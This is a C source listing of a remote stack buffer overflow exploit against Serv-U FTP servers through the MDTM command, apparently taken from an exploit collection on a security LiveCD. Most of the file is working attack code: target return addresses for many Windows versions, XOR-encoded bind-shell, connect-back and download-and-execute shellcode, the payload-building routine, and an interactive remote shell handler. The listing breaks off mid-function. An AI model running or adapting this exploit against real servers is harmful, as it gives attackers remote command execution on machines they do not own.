home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / Servu2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  22KB  |  750 lines
  1. /*
  2. *-----------------------------------------------------------------------
  3. * 
  4. * Servu2.c - Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command
  5. * Remote stack buffer overflow exploit
  6. *
  7. * Copyright (C) 2004 HUC All Rights Reserved.
  8. *
  9. * Author   : lion
  10. *          : lion@cnhonker.net
  11. *          : http://www.cnhonker.com
  12. * Date     : 2004-01-07
  13. * Update   : 2004-02-24 Who report this bug to Rhino??? Released v5.0.0.4 patched this bug. 
  14. *          : 2004-02-17 v7.0 Add Download url file and exec shellcode.
  15. *          : 2004-02-04 v6.1 Modified to work with UNIX.
  16. *          : 2004-02-01 v6.0 Change decode and target, change 'jmp(call) ebx' addr to 'pop,pop,ret' addr, can attack winXP and win2003 now.
  17. *          : 2004-01-31 v5.0 Add msvcrt.dll jmp ebx addr, can use on CN/TW/EN/KR/other win2k SP4 if msvcrt.dll not changed.
  18. *          : 2004-01-26 v4.2 Change attack target, 2.x to '>= 2.5i' and '<= 2.5h'.
  19. *          : 2004-01-22 v4.1 Change connectback shellcode in one, change bind shellcode to rebind shellcode.
  20. *          : 2004-01-13 v4.0 Can attack Serv-U 2.x.
  21. *          : 2004-01-11 v3.1 Add "PORT" command, can penetrate through the firewall. (shport > 1024)
  22. *          : 2004-01-09 v3.0 Put shellcode in file parameter, can attack Serv-U 4.1.0.12
  23. *          : 2004-01-08 v2.0 Add connectback shellcode.
  24. *          : 2004-01-07 v1.0 Can attack Serv-U v3.0.0.16 ~ v4.1.0.11
  25. * Tested   : Windows 2000 Server EN/CN
  26. *          :     + Serv-U v3.0.0.16 ~ v5.0.0.3
  27. *          :     + Serv-U v2.5b, v2.5e, v2.5h, v2.5i, v2.5k
  28. *          : Windows XP EN/CN
  29. *          :     + Serv-U v4.x
  30. * Notice   : *** Bug find by bkbll (bkbll@cnhonker.net) 2004-01-07 ***
  31. *          : *** You need a valid account. include anonymous!!! ***
  32. *          : *** Private exploit! Don't distributed it!!! ***
  33. * Complie  :On Windows
  34. *          :     cl Servu2.c
  35. *          :On UNIX
  36. *          :     gcc -o Servu2 Servu2.c -DUNIX
  37. * Usage       :e:\>Servu2
  38. *          :Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V7.0 (2004-01-07)
  39. *          :Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)
  40. *          :Welcome to HUC website http://www.cnhonker.com
  41. *          :Usage:  Servu2  -i <ip> [Options]
  42. *          :                -t      Show All Target Type.
  43. *          :
  44. *          :[Options:]
  45. *          :        -i      Target IP                     Required
  46. *          :        -t      Target Type                   Default: 0
  47. *          :        -u      FTP Username                  Default: ftp
  48. *          :        -p      FTP Password                  Default: ftp@ftp.com
  49. *          :        -f      Port of the FTP Server        Default: 21
  50. *          :        -s      Port of the Shell             Default: 53
  51. *          :        -c      Connect back IP               For connectback shellcode
  52. *          :        -d      Download the URL and Exec     Start with 'http://' or 'ftp://'
  53. *------------------------------------------------------------------------
  54. */
  55.  
  56. #ifndef UNIX
  57. #include <winsock2.h>
  58. #include <windows.h>
  59. #include <stdio.h>
  60. #include <stdlib.h>
  61.  
  62. #pragma comment(lib, "ws2_32")
  63. #else
  64.  #define uint32_t DWORD
  65.  #include <sys/types.h>
  66.  #include <sys/socket.h>
  67.  #include <netdb.h>
  68.  #include <netinet/in.h>
  69.  #include <errno.h>
  70.  
  71.  #define closesocket(val) close(val)
  72.  #define SOCKET unsigned int 
  73.  #define SOCKADDR_IN struct sockaddr_in
  74.  #define BOOL unsigned int
  75.  #define TRUE 1
  76.  #define FALSE 0
  77.  #define INVALID_SOCKET -1
  78.  #define SOCKET_ERROR -1
  79.  #define USHORT unsigned int
  80.  #define Sleep usleep
  81.  #define __leave goto exit_try
  82.  #define _snprintf snprintf
  83.  typedef struct sockaddr* LPSOCKADDR;
  84. #endif
  85.  
  86.  
  87. #ifdef UNIX
  88. int GetLastError() 
  89. {
  90.     return errno;
  91. }
  92.  
  93. int WSAGetLastError() 
  94. {
  95.     return errno;
  96. }
  97. #endif
  98.  
  99. #define MAX_LEN            2048
  100. #define    SEH_OFFSET         48-1
  101. #define JMP_OVER        "\xeb\x06\xeb\x06"
  102. #define    VERSION            "7.0"
  103.  
  104. // for rebind shellcode
  105. #define BIND_OFFSET        113
  106.  
  107. // for connectback shellcode
  108. #define PORT_OFFSET        95
  109. #define IP_OFFSET        88
  110.  
  111. // default parameter
  112. #define SHELLPORT        53
  113. #define FTPPORT         21
  114. #define DEFTYPE         0
  115. #define DEFUSER            "ftp"
  116. #define DEFPASS            "ftp@ftp.com"
  117.  
  118. // for Serv-U 2.x
  119. #define READ_ADDR        "\x01\x01\xfd\x7f"
  120. #define READ_OFFSET        5+14+12
  121.  
  122. struct
  123. {
  124.     DWORD    dwJMP;
  125.     char    *szDescription;
  126. }targets[] =
  127. {
  128.     {0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},    //msvcrt.dll pop,pop,ret addr
  129. //    {0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},        //msvcrt.dll pop,pop,ret addr
  130.     {0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},        //msvcrt.dll pop,pop,ret addr    
  131.  
  132. //    {0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all CN win2000,winxp,win2003
  133.     {0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all CN win2000,winxp,win2003
  134.     {0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all EN win2000,winxp,win2003
  135.     {0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},        //pop,pop,ret addr for all TW win2000,winxp,win2003
  136. //    {0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},        //jmp ebx addr for all TW win2000
  137.     {0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},        //jmp ebx addr for all KR win2000
  138.  
  139.     {0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},        //jmp esp addr for all CN win2000,winxp,win2003
  140.     {0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},        //jmp esp addr for all CN win2000,winxp,win2003
  141.     {0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},        //jmp esp addr for all TW win2000,winxp,win2003
  142.     {0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},        //jmp esp addr for all TW win2000,winxp,win2003
  143.  
  144.     {0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},        //call esp addr for all KR win2000,winxp,win2003
  145.     {0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},        //call esp addr for all KR win2000,winxp,win2003
  146.     {0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},        //setupapi.dll jmp esp addr
  147.     {0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},        //setupapi.dll jmp esp addr
  148.  
  149. //    {0x7802ba77,"Serv-U test"},         
  150. },v;
  151.  
  152.  
  153. unsigned char    *szSend[4];
  154. unsigned char    szCommand[MAX_LEN];
  155.  
  156. // 28 bytes decode by lion for overwrite eip, don't change this.
  157. unsigned char decode[]=
  158. "\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
  159. "\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";
  160.  
  161. // 31 bytes decode by lion for overwrite SEH, don't change this.
  162. unsigned char decode2[]=
  163. "\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43"
  164. "\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";
  165.  
  166.  
  167. // Shellcode start sign, use for decode, don't change this.
  168. unsigned char sc_start[]=
  169. "lion"; 
  170.  
  171. // Shellcode end sign, use for decode, don't change this.
  172. unsigned char sc_end[]=
  173. "li0n"; 
  174.  
  175. // 344 bytes rebind shellcode by lion for Serv-U (xor with 0x99)
  176. unsigned char sc[]=
  177. "\x70\xBB\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  178. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x5B\x99\x99\x99"
  179. "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
  180. "\x71\xF3\x9E\xC0\x71\x30\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
  181. "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
  182. "\xF3\x9B\x66\xCF\x8D\x12\x41\x5E\x9E\x98\x99\x99\x99\xF3\x9D\x14"
  183. "\x8E\xCB\xF3\x9D\xF1\x66\x66\x99\x99\xCA\x66\xCF\x81\x5E\x9E\x9B"
  184. "\x99\x99\xAC\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCF\x85\xF3\x98\xCA"
  185. "\x66\xCF\xB9\xC9\xC9\xCA\x66\xCF\xBD\x12\x41\xAA\x59\xF1\xFA\xF4"
  186. "\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x8D\xC0\x10\x9D\x16"
  187. "\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10\xC6\xD1\x10"
  188. "\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8\xC8\xF3\x98"
  189. "\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66"
  190. "\xCF\x91\x72\x9E\x09\x09\x09\x09\x09\x09\x09\xCA\x66\xCF\xB1\x66"
  191. "\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF"
  192. "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
  193. "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC7"
  194. "\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44\x12\x9D"
  195. "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x40\x67\x66\x66\x17\xD7\x97\x75"
  196. "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2"
  197. "\x40\x90\x6C\x34\x75\x6B\xCC\x59\x3D\x83\xE9\x5E\x3D\x34\xB7\x70"
  198. "\x7C\xD0\x1F\xD0\x7E\xE0\x5F\xE0";
  199.  
  200. // 304 bytes connectback shellcode by lion for Serv-U (xor with 0x99)
  201. unsigned char cbsc[]=
  202. "\x70\x9C\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  203. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x05\x99\x99\x99"
  204. "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
  205. "\x71\xF3\x9D\xC0\x71\x1A\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
  206. "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
  207. "\xF3\x9B\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
  208. "\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD2\xAA\x59"
  209. "\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x89\xC0"
  210. "\x10\x9D\x16\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10"
  211. "\xC6\xD1\x10\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8"
  212. "\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66"
  213. "\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xEC"
  214. "\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF\xB9\x9A\x6C\x72\x9E\x09"
  215. "\x09\x09\x09\x09\x09\x09\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96"
  216. "\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86"
  217. "\xEC\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A"
  218. "\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x6F\x67\x66\x66\x17"
  219. "\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52"
  220. "\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0\x99";
  221.  
  222. // 194 bytes download url file and exec shellcode by lion (xor with 0x99)
  223. // Tested on Serv-U 3.x/4.x/5.x
  224. unsigned char dusc[]=
  225. "\x70\x3D\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  226. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\xDD\x99\x99\x99"
  227. "\x7B\x60\xF1\xF6\xF7\x99\x99\xF1\xEC\xEB\xF5\xF4\xCD\x66\x8F\x12"
  228. "\x71\x71\xB7\x99\x99\x99\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCF"
  229. "\x9D\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
  230. "\xAA\x59\xC9\xC9\xCA\xCE\xC9\x66\xCF\x89\x12\x45\xC9\xCA\x66\xCF"
  231. "\x91\x66\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF"
  232. "\x12\xEF\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27"
  233. "\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC"
  234. "\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44"
  235. "\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\xCE\x66\x66\x66\x17\xD7"
  236. "\x97\x75\x58\xE0\x7C\x21\x01\x67\x13\x97\xE7\x41\x7B\xEA\xAF\x83"
  237. "\xB6\xE9";
  238.  
  239. // exec file url addr for download url file and exec shellcode
  240. unsigned char downloadurl[255]= "";
  241.  
  242.  
  243. void showtype()
  244. {
  245.     int i;
  246. //    usage(p);
  247.     printf( "[Type]:\n");
  248.     for(i=0;i<sizeof(targets)/sizeof(v);i++)
  249.     {
  250.         printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
  251.     }
  252. }
  253.  
  254. void usage(char *p)
  255. {
  256.     printf( "Usage:\t%s\t-i <ip> [Options]\n"
  257.         "\t\t-t\tShow All Target Type.\n\n"
  258.         "[Options:]\n"
  259.         "\t-i\tTarget IP                     Required\n"
  260.         "\t-t\tTarget Type                   Default: %d\n"
  261.         "\t-u\tFTP Username                  Default: %s\n"
  262.         "\t-p\tFTP Password                  Default: %s\n"
  263.         "\t-f\tPort of the FTP Server        Default: %d\n"
  264.         "\t-s\tPort of the Shell             Default: %d\n"
  265.         "\t-c\tConnect back IP               For connectback shellcode\n"
  266.         "\t-d\tDownload the URL and Exec     Start with 'http://' or 'ftp://'\n\n"
  267.         , p, DEFTYPE, DEFUSER, DEFPASS, FTPPORT, SHELLPORT);    
  268.  
  269.     //showtype();
  270. }
  271.  
  272. /* ripped from TESO code and modifed by ey4s for win32 */
  273. void shell (int sock)
  274. {
  275.     int     l;
  276.     char    buf[512];
  277.     struct    timeval time;
  278.     unsigned long    ul[2];
  279.  
  280.     time.tv_sec = 1;
  281.     time.tv_usec = 0;
  282.  
  283.     while (1)
  284.     {
  285.         ul[0] = 1;
  286.         ul[1] = sock;
  287.  
  288.         l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  289.         if(l == 1)
  290.         {
  291.             l = recv (sock, buf, sizeof (buf), 0);
  292.             if (l <= 0)
  293.             {
  294.                 printf ("[-] Connection closed.\n");
  295.                 return;
  296.             }
  297.             l = write (1, buf, l);
  298.             if (l <= 0)
  299.             {
  300.                 printf ("[-] Connection closed.\n");
  301.                 return;
  302.             }
  303.         }
  304.         else
  305.         {
  306.             l = read (0, buf, sizeof (buf));
  307.             if (l <= 0)
  308.             {
  309.                 printf("[-] Connection closed.\n");
  310.                 return;
  311.             }
  312.             l = send(sock, buf, l, 0);
  313.             if (l <= 0)
  314.             {
  315.                 printf("[-] Connection closed.\n");
  316.                 return;
  317.             }
  318.         }
  319.     }
  320. }
  321.  
  322. int main(int argc, char **argv)
  323. {
  324.     struct    sockaddr_in sa, server, client;
  325. #ifndef UNIX
  326.     WSADATA    wsd;
  327. #endif
  328.     SOCKET    s, s2, s3;
  329.     int    iErr, ret, len;
  330.     char    szRecvBuff[MAX_LEN];
  331.     int    i,j;
  332.     int    iType =DEFTYPE, iPort=FTPPORT;
  333.     char    *ip=NULL, *pUser=DEFUSER, *pPass=DEFPASS, *cbHost=NULL, *url;
  334.     char    user[128], pass[128];
  335.     BOOL    bCb=FALSE,bUrl=FALSE, bLocal=TRUE, b2x=FALSE;
  336.     unsigned short    shport=SHELLPORT, shport2=0;
  337.     unsigned long    cbip;
  338.     unsigned int    timeout=5000, Reuse;
  339.     char    penetrate[255],cbHost2[20];
  340.     
  341.     printf( "Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V%s (2004-01-07)\r\n"
  342.         "Bug find by bkbll (bkbll@cnhonker.net), Code by lion (lion@cnhonker.net)\r\n"
  343.         "Welcome to HUC website http://www.cnhonker.com\r\n\n"
  344.              , VERSION);
  345.  
  346.     if(argc < 2)
  347.     {
  348.         usage(argv[0]);
  349.         return 1;
  350.     }
  351.     else if(argc == 2 && argv[1][1] == 't')
  352.     {
  353.         showtype();
  354.         return 1;
  355.     }
  356.  
  357.     for(i=1;i<argc;i+=2)
  358.     {
  359.         if(strlen(argv[i]) != 2)
  360.         {
  361.             usage(argv[0]);
  362.             return -1;
  363.         }
  364.         // check parameter
  365.         if(i == argc-1)
  366.         {
  367.             usage(argv[0]);
  368.             return -1;
  369.         }
  370.         switch(argv[i][1])
  371.         {
  372.             case 'i':
  373.                 ip=argv[i+1];
  374.                 break;
  375.             case 't':
  376.                 iType = atoi(argv[i+1]);
  377.                 break;
  378.             case 'f':
  379.                 iPort=atoi(argv[i+1]);
  380.                 break;
  381.             case 'p':
  382.                 pPass = argv[i+1];
  383.                 break;
  384.             case 'u':
  385.                 pUser=argv[i+1];
  386.                 break;
  387.             case 's':
  388.                 shport=atoi(argv[i+1]);
  389.                 break;
  390.             case 'c':
  391.                 cbHost=argv[i+1];
  392.                 bCb=TRUE;
  393.                 break;
  394.             case 'd':
  395.                 url = argv[i+1];
  396.                 bUrl=TRUE;
  397.                 break;
  398.                 
  399.         }
  400.     }
  401.  
  402.     if((!ip) || (!user) || (!pass))
  403.     {
  404.         usage(argv[0]);
  405.         printf("[-] Invalid parameter.\n");
  406.         return -1;
  407.     }
  408.  
  409.     if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
  410.     {
  411.         usage(argv[0]);
  412.         printf("[-] Invalid type.\n");
  413.         return -1;
  414.     }
  415.  
  416.     if(iPort <1 || iPort >65535 || shport <1 || shport > 65535)
  417.     {
  418.         usage(argv[0]);
  419.         printf("[-] Invalid port.\n");
  420.         return -1;
  421.     }
  422.  
  423.     if(bUrl)
  424.     {
  425.         if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 255)
  426.         {
  427.             usage(argv[0]);
  428.             printf("[-] Invalid url. Must start with 'http://','ftp://' and <255 bytes.\n");
  429.             return -1;                
  430.         }
  431.     }
  432.     
  433.     if(strstr(targets[iType].szDescription, "2.x"))
  434.     {
  435.         b2x = TRUE;
  436.         printf("[*] Attack Target is Serv-U 2.x.\r\n");
  437.     }
  438.     else
  439.     {
  440.         printf("[*] Attack Target is Serv-U 3.x/4.x/5.x.\r\n");
  441.     }
  442.     
  443.     _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
  444.     user[sizeof(user)-1]='\0';
  445.     _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
  446.     pass[sizeof(pass)-1]='\0';
  447.     szSend[0] = user;    //user
  448.     szSend[1] = pass;    //pass    
  449.     szSend[2] = penetrate;    //pentrate
  450.     szSend[3] = szCommand;    //shellcode
  451.     
  452.     // Penetrate through the firewall.
  453.     if(bCb && shport > 1024)
  454.     {
  455.         strncpy(cbHost2, cbHost, 20);
  456.         for(i=0;i<strlen(cbHost); i++)
  457.         {
  458.             if(cbHost[i] == '.')
  459.                 cbHost2[i] = ',';
  460.         }
  461.         
  462.         sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);
  463.  
  464.         //printf("%s", penetrate);
  465.     }
  466.     else
  467.     {
  468.         sprintf(penetrate,"TYPE I\r\n");        
  469.     }
  470.  
  471.     // fill the "MDTM" command
  472.     strcpy(szCommand, "MDTM 20031111111111+");
  473.  
  474.     // fill the egg
  475.     for(i=0; i<SEH_OFFSET; i++)
  476.     {
  477.         strcat(szCommand, "\x90");
  478.     }
  479.  
  480.     // ret addr
  481.     if(b2x)
  482.     {
  483.  
  484.         // fill the egg
  485.         if(strstr(targets[iType].szDescription, "<"))
  486.         {
  487.             j = 8;
  488.         }
  489.         else
  490.         {
  491.             j = 4;
  492.         }
  493.         for(i=0; i<j; i++)
  494.         {
  495.             strcat(szCommand, "\x90");
  496.         }
  497.         
  498.         memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
  499.         
  500.         memcpy(&szCommand[READ_OFFSET], &READ_ADDR, 4);
  501.         
  502.         // fill the decode
  503.         strcat(szCommand, decode);
  504.     }
  505.     else
  506.     {
  507.         
  508.         // fill the seh
  509.         for(i=0; i<0x10*1; i+=8)
  510.         //for(i=0; i<1; i++)
  511.         {
  512.             memcpy(&szCommand[strlen(szCommand)], &JMP_OVER, 4);
  513.             memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
  514.         }
  515.     
  516.         // fill the decode
  517.         strcat(szCommand, decode2);    
  518.     }
  519.  
  520.     // fill the space
  521.     strcat(szCommand, " ");
  522.  
  523.     // fill the egg
  524.     for(i=0; i<0x10; i++)
  525.     {
  526.         strcat(szCommand, "\x90");
  527.     }
  528.  
  529.     // fill the shellcode start sign
  530.     strcat(szCommand, sc_start);
  531.  
  532.     // fill the shellcode
  533.         if(bCb)
  534.     {
  535.         // connectback shellcode
  536.         shport2 = htons(shport)^(u_short)0x9999;
  537.         cbip = inet_addr(cbHost)^0x99999999;
  538.         memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
  539.         memcpy(&cbsc[IP_OFFSET], &cbip, 4);
  540.         strcat(szCommand, cbsc);        
  541.     }
  542.     else
  543.     if(bUrl)
  544.     {
  545.         memset(downloadurl, 0, sizeof(downloadurl));
  546.  
  547.         // download url exec shellcode
  548.         for(i=0;i<strlen(url);i++)
  549.         {
  550.             downloadurl[i] = url[i] ^ 0x99;
  551.         }
  552.         
  553.         downloadurl[i] ^= 0x99;
  554.         strcat(szCommand, dusc);
  555.         strcat(szCommand, downloadurl);        
  556.     } 
  557.         else 
  558.     {
  559.         // rebind shellcode
  560.         shport2 = htons(shport)^(u_short)0x9999;
  561.         memcpy(&sc[BIND_OFFSET], &shport2, 2);
  562.         strcat(szCommand, sc);
  563.     }
  564.  
  565.     // fill the shellcode end sign
  566.     strcat(szCommand, sc_end);
  567.  
  568.     // send end
  569.     strcat(szCommand, "\r\n");
  570.  
  571.     if(strlen(szCommand) >= sizeof(szCommand))
  572.     {
  573.         printf("[-] stack buffer overflow.\n");
  574.         return -1;
  575.     }
  576.     
  577.     //printf("send size %d:%s", strlen(szCommand), szCommand);
  578.     //printf("buffsize %d\r\n", strlen(szCommand)-5-2);
  579.     
  580. #ifndef UNIX
  581.     __try
  582. #endif
  583.     {
  584.  
  585. #ifndef UNIX
  586.         if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
  587.         {
  588.             printf("[-] WSAStartup error:%d\n", WSAGetLastError());
  589.             __leave;
  590.         }
  591. #endif
  592.         s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  593.         if(s == INVALID_SOCKET)
  594.         {
  595.             printf("[-] Create socket failed:%d",GetLastError());
  596.             __leave;
  597.         }
  598.  
  599.         sa.sin_family=AF_INET;
  600.         sa.sin_port=htons((USHORT)iPort);
  601.  
  602. #ifndef UNIX
  603.         sa.sin_addr.S_un.S_addr=inet_addr(ip);
  604. #else
  605.         sa.sin_addr.s_addr=inet_addr(ip);
  606. #endif
  607.         setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  608.         iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
  609.         if(iErr == SOCKET_ERROR)
  610.         {
  611.             printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
  612.             __leave;
  613.         }
  614.         printf("[+] Connect to %s:%d success.\n", ip, iPort);
  615.         
  616.         if(bCb)
  617.         {
  618.             Sleep(500);
  619.             s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  620.  
  621.             server.sin_family=AF_INET;
  622.  
  623. #ifndef UNIX
  624.             server.sin_addr.S_un.S_addr=inet_addr(cbHost);
  625.             //server.sin_addr.s_addr=INADDR_ANY; 
  626. #else
  627.             server.sin_addr.s_addr=inet_addr(cbHost);
  628. #endif            
  629.             
  630.             server.sin_port=htons((unsigned short)shport);
  631.  
  632.             setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  633.  
  634.             Reuse = 1; 
  635.             setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));
  636.  
  637.             if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
  638.             {
  639.                 printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
  640.                 printf("[-] You must run nc get the shell.\n");
  641.                 bLocal = FALSE;
  642.                 //closesocket(s2);
  643.                 //__leave;
  644.             }
  645.             else
  646.             {    
  647.                 printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
  648.                 listen(s2, 1); 
  649.             }
  650.         }
  651.         
  652.         for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
  653.         {
  654.             memset(szRecvBuff, 0, sizeof(szRecvBuff));
  655.             iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
  656.             if(iErr == SOCKET_ERROR)
  657.             {
  658.                 printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
  659.                 __leave;
  660.             }
  661.             printf("[+] Recv: %s", szRecvBuff);
  662.             
  663.             if(szRecvBuff[0] == '5')
  664.             {
  665.                 printf("[-] Server return a error Message.\r\n");
  666.                 __leave;
  667.             }
  668.  
  669.             iErr = send(s, szSend[i], strlen(szSend[i]),0);
  670.             if(iErr == SOCKET_ERROR)
  671.             {
  672.                 printf("[-] Send buffer error:%d.\n", WSAGetLastError());
  673.                 __leave;
  674.             }
  675.  
  676.             if(i==sizeof(szSend)/sizeof(szSend[0])-1)
  677.                 printf("[+] Send shellcode %d bytes.\n", iErr);
  678.             else
  679.                 printf("[+] Send: %s", szSend[i]);
  680.         }
  681.  
  682.         if(bUrl)
  683.         {
  684.             printf("[+] Target Download the file and exec: %s\r\n", url);
  685.             printf("[+] Success? Maybe!\r\n");
  686.         }
  687.         else
  688.         {
  689.             printf("[+] If you don't have a shell it didn't work.\n");
  690.  
  691.             if(bCb)
  692.             {
  693.                 if(bLocal)
  694.                 {
  695.                     printf("[+] Wait for shell...\n");
  696.             
  697.                     len = sizeof(client);
  698.                     s3 = accept(s2, (struct sockaddr*)&client, &len); 
  699.                     if(s3 != INVALID_SOCKET) 
  700.                     { 
  701.                         printf("[+] Exploit success! Good luck! :)\n");
  702.                         printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  703.                         shell(s3);
  704.                     }
  705.                 }    
  706.             }
  707.             else 
  708.             {
  709.                 printf("[+] Connect to shell...\n");
  710.             
  711.                 Sleep(1000);
  712.                 s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
